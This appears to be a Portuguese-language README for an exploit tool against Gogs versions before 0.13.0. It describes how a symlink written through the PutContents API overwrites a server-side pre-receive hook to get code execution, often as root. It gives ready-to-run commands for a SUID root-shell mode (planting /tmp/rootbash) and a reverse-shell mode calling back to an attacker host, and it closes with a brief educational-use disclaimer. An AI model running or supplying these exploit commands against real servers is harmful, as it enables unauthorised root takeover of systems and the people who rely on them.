
Manipulação inadequada de links simbólicos na API PutContents no Gogs permite execução local de código.
O tratamento inadequado de links simbólicos na API PutContents do Gogs permite a Execução Local de Código.
Este repositório contém um exploit de nível profissional para uma vulnerabilidade crítica em versões do Gogs anteriores a 0.13.0. O exploit aproveita uma falha lógica onde a API do Gogs não valida os tipos de arquivo ao atualizar o conteúdo do repositório. Ao injetar um link simbólico que aponta para um hook Git do lado do servidor (pre-receive), um usuário autenticado pode sobrescrever o conteúdo do hook com um script malicioso. Operações subsequentes de Git push disparam a execução deste script no contexto do usuário que executa o serviço Gogs (normalmente root).
Injeção de Link Simbólico: O atacante envia um link simbólico apontando para hooks internos do repositório (ex.: /root/gogs-repositories//.git/hooks/pre-receive).
Sobrescrita via API: A API do Gogs permite atualizar o conteúdo do link simbólico. Como o SO segue o link durante a operação de escrita, o hook Git interno é sobrescrito.
RCE / Escalação de Privilégio: Um Git push subsequente dispara o hook pre-receive. Se o Gogs estiver configurado com RUN_USER = root, o atacante obtém controle total do sistema.
Requisitos
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
Após a conclusão, obtenha acesso root no alvo:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
| Argumento | Obrigatório | Descrição |
|---|---|---|
--url | Sim | A URL base da instância Gogs (ex.: http://127.0.0.1:3001). |
--user | Sim | Nome de usuário válido para autenticação. |
--pass | Sim | Senha válida para o usuário especificado. |
--mode | Não | Modo do exploit: suid (cria /tmp/rootbash) ou rev (reverse shell). |
--lhost | Não | Endereço IP local para o callback do reverse shell. |
--lport | Não | Porta local para o listener do reverse shell. |
Esta ferramenta é apenas para fins educacionais e auditoria de segurança autorizada. O autor não se responsabiliza por qualquer uso indevido ou danos causados por esta ferramenta em sistemas que você possua ou tenha permissão explícita para testar.